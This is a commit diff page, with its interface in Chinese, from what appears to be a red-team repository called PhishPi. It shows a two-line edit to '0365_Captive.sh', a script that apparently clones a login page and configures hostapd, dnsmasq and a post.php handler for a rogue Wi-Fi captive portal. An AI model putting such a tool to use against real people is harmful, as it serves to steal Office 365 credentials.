瀏覽代碼

Update 0365_Captive.sh

assume-breach 3 年之前
父節點
當前提交
d4844e8796
共有 1 個文件被更改,包括 2 次插入2 次删除
  1. 2 2
      PhishPi/0365_Captive.sh

+ 2 - 2
PhishPi/0365_Captive.sh

@@ -62,7 +62,7 @@ sleep 1
 echo -e ${yellow}"$URL Cloned Successfully"${clear}
 sleep 2
 
-#Copying Resources
+#Copying Resources To Local Directory
 
 cp Resources/hosts . 2>/dev/null
 cp Resources/dnsmasq.conf . 2>/dev/null
@@ -74,7 +74,7 @@ cp Resources/post.php . 2>/dev/null
 #Replacing Variables In Files
 sed -i "s/domain/${domain}g/" post.php
 sed -i "s/domain/${domain}/g" index.html
-sed -i "s/10.1.1.1/${domain}/g" dnsmasq.conf
+sed -i "s/domain/${domain}/g" dnsmasq.conf
 sed -i "s/AP/${AP}/g" hostapd.conf
 sed -i "s/SSID/${SSID}/g" hostapd.conf
 sed -i "s/domain/${domain}/g" authenticate.html